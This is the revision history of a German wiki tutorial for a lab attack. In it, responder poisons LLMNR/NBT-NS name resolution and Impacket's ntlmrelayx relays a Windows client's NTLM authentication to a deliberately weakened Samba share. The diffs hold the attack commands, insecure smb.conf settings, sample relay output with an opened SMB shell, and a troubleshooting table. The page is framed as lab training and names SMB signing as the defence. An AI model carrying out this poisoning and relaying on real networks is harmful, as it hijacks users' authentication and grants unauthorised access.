NTLM-Relay auf Samba-Freigabe mit Impacket - Versionsgeschichte

Thomas.will: Thomas.will verschob die Seite Windows SMB Relay via ARP Spoofing nach NTLM-Relay auf Samba-Freigabe mit Impacket

2025-05-18T16:23:48Z

Thomas.will verschob die Seite Windows SMB Relay via ARP Spoofing nach NTLM-Relay auf Samba-Freigabe mit Impacket

Thomas.will am 18. Mai 2025 um 15:59 Uhr

2025-05-18T15:59:10Z

Thomas.will: /* responder starten */

2025-05-18T15:14:54Z

responder starten

Thomas.will: /* Fehlerbehebung */

2025-05-18T15:09:45Z

Fehlerbehebung

Thomas.will: /* Fehlerbehebung */

2025-05-18T15:09:24Z

Fehlerbehebung

Thomas.will am 18. Mai 2025 um 15:08 Uhr

2025-05-18T15:08:39Z

Thomas.will: /* Samba-Freigabe vorbereiten */

2025-05-18T15:06:32Z

Samba-Freigabe vorbereiten

Thomas.will: /* Samba-Freigabe vorbereiten */

2025-05-18T14:38:09Z

Samba-Freigabe vorbereiten

Thomas.will am 18. Mai 2025 um 14:34 Uhr

2025-05-18T14:34:23Z

Änderungen zeigen

Thomas.will am 18. Mai 2025 um 14:23 Uhr

2025-05-18T14:23:34Z

@@ Zeile 1: / Zeile 1: @@
 = NTLM-Relay auf Samba-Freigabe mit Impacket =
 == Ziel ==
@@ Zeile 8: / Zeile 21: @@
 * Opfer: Windows-System im selben LAN (z. B. 10.0.10.102)
 * Ziel: Linux mit Samba-Freigabe (z. B. 10.0.10.104)
 == Samba-Freigabe vorbereiten ==
@@ Zeile 42: / Zeile 45: @@
     force user = nobody
     force group = nogroup
 [homes]
@@ Zeile 67: / Zeile 69: @@
 </pre>
-Die Freigabe „share“ muss sichtbar sein. Es darf kein „Signing: required“ erscheinen.
+→ Die Freigabe „share“ muss sichtbar sein. Es darf kein „Signing: required“ erscheinen.
 == responder starten ==
@@ Zeile 74: / Zeile 76: @@
 </pre>
-Nur LLMNR/NBT-NS-Poisoning aktivieren. Der integrierte SMB-Server von responder muss deaktiviert bleiben.
+Nur LLMNR/NBT-NS-Poisoning aktivieren. Kein integrierter SMB-Server darf laufen.
 == ntlmrelayx starten ==
@@ Zeile 81: / Zeile 83: @@
 </pre>
 ntlmrelayx lauscht auf eingehende NTLM-Verbindungen und leitet sie direkt an die Samba-Freigabe weiter.
 == Angriff auslösen ==
@@ Zeile 96: / Zeile 99: @@
 [*] Authenticating against smb://10.0.10.104 as WORKGROUP\Benutzer SUCCEED
 [!] Interactive SMB shell opened...
-smb> upload /tmp/test.txt
+</pre>
 </pre>
@@ Zeile 104: / Zeile 119: @@
 </pre>
-Die Datei ist vorhanden.
+→ Die Datei ist vorhanden.
 == Fehlerbehebung ==
@@ Zeile 125: / Zeile 140: @@
 == Hinweise ==
-Funktioniert nur in Netzen mit aktivem LLMNR oder NBT-NS und deaktiviertem SMB-Signing. Für realistische Szenarien sollte SMB-Signing am Server aktiv sein. Diese Methode eignet sich zum Einsatz in Labors und Schulungen zur Demonstration von Authentifizierungs-Relaying.
+* Funktioniert nur in Netzen mit aktivem LLMNR oder NBT-NS und deaktiviertem SMB-Signing
+* Für realistische Szenarien sollte SMB-Signing am Server aktiv sein
-== Funktion der Samba-Konfiguration ==
+* Eignet sich für Labors und Schulungsumgebungen zur Demonstration von NTLM-Relaying

@@ Zeile 71: / Zeile 71: @@
 == responder starten ==
 <pre>
-responder -I eth0 --disable-http --disable-https
+responder -I eth0 -wd
 </pre>

← Nächstältere Version		Version vom 18. Mai 2025, 15:09 Uhr
Zeile 107:		Zeile 107:

	== Fehlerbehebung ==		== Fehlerbehebung ==
		+
		+	{\| class="wikitable"
		+	! Problem \|\| Mögliche Ursache \|\| Lösung
		+	\|-
		+	\| Kein Relay möglich \|\| SMB Signing aktiv \|\| smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing
		+	\|-
		+	\| Kein Login \|\| NTLM wird abgelehnt \|\| In smb.conf: map to guest = Bad User, ntlm auth = yes
		+	\|-
		+	\| Keine Shell \|\| Share nicht schreibbar \|\| read only = no, force user = nobody, chmod 777 prüfen
		+	\|-
		+	\| Kein Poisoning \|\| LLMNR deaktiviert \|\| Windows prüfen: Get-NetAdapterBinding -ComponentID ms_llmnrs
		+	\|-
		+	\| Verbindung scheitert \|\| Routing-Problem \|\| ping vom Kali auf Ziel prüfen
		+	\|-
		+	\| ntlmrelayx zeigt nichts \|\| Kein NTLM angekommen \|\| UNC muss nicht auflösbar sein (z. B. \\irgendwas)
		+	\|}

	== Hinweise ==		== Hinweise ==

← Nächstältere Version		Version vom 18. Mai 2025, 15:09 Uhr
Zeile 107:		Zeile 107:

	== Fehlerbehebung ==		== Fehlerbehebung ==
−
−	~~== Fehlerbehebung ==~~
−
−	~~{\| class="wikitable"~~
−	~~! Problem \|\| Mögliche Ursache \|\| Lösung~~
−	\|-
−	~~\| Kein Relay möglich \|\| SMB Signing aktiv \|\| smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing~~
−	~~\| Kein Login \|\| NTLM wird abgelehnt \|\| In smb.conf: map to guest = Bad User, ntlm auth = yes~~
−	~~\| Keine Shell \|\| Share nicht schreibbar \|\| read only = no, force user = nobody, chmod 777 prüfen~~
−	~~\| Kein Poisoning \|\| LLMNR deaktiviert \|\| Windows prüfen: Get-NetAdapterBinding -ComponentID ms_llmnrs~~
−	~~\| Verbindung scheitert \|\| Routing-Problem \|\| ping vom Kali auf Ziel prüfen~~
−	~~\| ntlmrelayx zeigt nichts \|\| Kein NTLM angekommen \|\| UNC muss nicht auflösbar sein (z. B. \\irgendwas)~~
−	\|}
−

	== Hinweise ==		== Hinweise ==

@@ Zeile 105: / Zeile 105: @@
 Die Datei ist vorhanden.
 == Fehlerbehebung ==
 {| class="wikitable"
-! Problem !! Mögliche Ursache !! Lösung
+! Problem || Mögliche Ursache || Lösung
 |-
 | Kein Relay möglich || SMB Signing aktiv || smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing
-| Kein Login || NTLM wird abgelehnt || In smb.conf: map to guest = Always, ntlm auth = yes
+| Kein Login || NTLM wird abgelehnt || In smb.conf: map to guest = Bad User, ntlm auth = yes
 | Keine Shell || Share nicht schreibbar || read only = no, force user = nobody, chmod 777 prüfen
 | Kein Poisoning || LLMNR deaktiviert || Windows prüfen: Get-NetAdapterBinding -ComponentID ms_llmnrs
 | Verbindung scheitert || Routing-Problem || ping vom Kali auf Ziel prüfen
-| ntlmrelayx zeigt nichts || Kein NTLM angekommen || UNC muss einen nicht auflösbaren Namen verwenden (z. B. \\irgendwas)
+| ntlmrelayx zeigt nichts || Kein NTLM angekommen || UNC muss nicht auflösbar sein (z. B. \\irgendwas)
 |}
 == Hinweise ==

← Nächstältere Version	Version vom 18. Mai 2025, 16:23 Uhr
(kein Unterschied)

@@ Zeile 26: / Zeile 26: @@
     workgroup = WORKGROUP
     server string = Relayziel
     guest account = nobody
     ntlm auth = yes
@@ Zeile 32: / Zeile 31: @@
     client lanman auth = yes
     client ntlmv2 auth = yes
-    server min protocol = SMB2
+    server min protocol = NT1
 [share]
@@ Zeile 43: / Zeile 42: @@
     force user = nobody
     force group = nogroup
 </pre>

@@ Zeile 8: / Zeile 8: @@
 * Opfer: Windows-System im selben LAN (z. B. 10.0.10.102)
 * Ziel: Linux mit Samba-Freigabe (z. B. 10.0.10.104)
 == Samba-Freigabe vorbereiten ==
-*Konfiguration in '''/etc/samba/smb.conf''':*
+Konfiguration in '''/etc/samba/smb.conf''':
 <pre>
 [global]
@@ Zeile 35: / Zeile 45: @@
 </pre>
-*Verzeichnis erstellen und Rechte setzen:*
+Verzeichnis erstellen und Rechte setzen:
 <pre>
 mkdir -p /mnt/media/share
@@ Zeile 42: / Zeile 52: @@
 systemctl restart smbd
 </pre>
 == Funktion der Samba-Konfiguration ==

@@ Zeile 1: / Zeile 1: @@
-= Funktionierender NTLM-Relay auf Samba mit Impacket =
+= NTLM-Relay auf Samba-Freigabe mit Impacket (Laborszenario) =
 == Ziel ==
-Ein Windows-Clients im Netzwerk wird über LLMNR/NBT-NS vergiftet und seine NTLM-Authentifizierung wird auf einen speziell konfigurierten Samba-Server relayed.
+Ein Windows-Client im gleichen Netz wird über LLMNR/mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer per '''ntlmrelayx''' an einen Samba-Server weitergeleitet. Dort wird dem relayed Benutzer Gastzugriff gewährt, sodass:
-== Korrigierte Samba-Konfiguration ==
+== Voraussetzungen ==
 <pre>
 [global]
     workgroup = WORKGROUP
     server role = standalone server
     passdb backend = tdbsam
-    map to guest = Bad Password  # WICHTIG: Geändert von "Bad User"
+    map to guest = Bad User
     guest account = nobody
 [share]
     path = /mnt/media/share
     read only = no
     guest ok = yes
-    guest only = yes  # Neu hinzugefügt
+    public = yes
     browseable = yes
     force user = nobody
-    create mask = 0777
+    force group = nogroup
 </pre>
-== Systemvorbereitung ==
+*Verzeichnis vorbereiten:*
 <pre>
-mkdir -p /mnt/media/share
+[*] Authenticating against smb://10.0.10.104 as DESKTOP-XXX\USERNAME SUCCEED
-chown nobody:nogroup /mnt/media/share
+[+] Opening SMB relay connection
-chmod 777 /mnt/media/share
+[!] Interactive shell opened
-systemctl restart smbd nmbd
+smb>
 </pre>
-== Angriffsablauf ==
+*Dort kann man z. B. eine Datei hochladen:*
-=== 1. Responder starten ===
+== 6. Erfolg prüfen ==
-=== 2. NTLM-Relay starten ===
+Auf dem Samba-Ziel liegt nun eine Datei im Freigabe-Verzeichnis:
-<pre>
+ ls -l /mnt/media/share
-=== 3. Angriff auslösen ===
+→ Ziel erreicht: SMB-Zugriff über NTLM-Relay hergestellt, Datei erfolgreich übertragen
-== Erfolgskriterien ==
+== Zusammenfassung ==
-<pre>
+| Komponente | Aufgabe |
-. Responder zeigt eingefangene NTLM-Hashes
+|------------|---------|
-. ntlmrelayx zeigt erfolgreiche Authentifizierung
+| responder  | Vergiftung von Namensauflösung |
-. Interaktive SMB-Shell wird geöffnet
+| ntlmrelayx | Relaying von NTLM auf SMB-Ziel |
-. Datei-Upload möglich (upload BEFEHL)
+| Samba      | akzeptiert relayed Authentifizierung als Gast |
-</pre>
+| Ziel       | Datei auf Samba-Freigabe schreiben |
-== Troubleshooting ==
+== Hinweise ==
-{| class="wikitable"
+* Wird der relayed Benutzer nicht akzeptiert, hilft:
-|-
+** map to guest = Always
-! Problem ! Lösung
+* Ohne Schreibrechte bringt der Zugriff wenig – Ziel so konfigurieren, dass write möglich ist
-|-
+* Nur für Labor geeignet – in Produktivnetzen schwer absicherbar (SMB Signing aktivieren!)
-== Wichtige Änderungen ==
+== Quellen ==
-* »map to guest« auf »Bad Password« geändert
+* https://github.com/fortra/impacket
-* »ntlm auth = yes« explizit aktiviert
+* https://wiki.samba.org/index.php/Setting_up_a_Samba_Share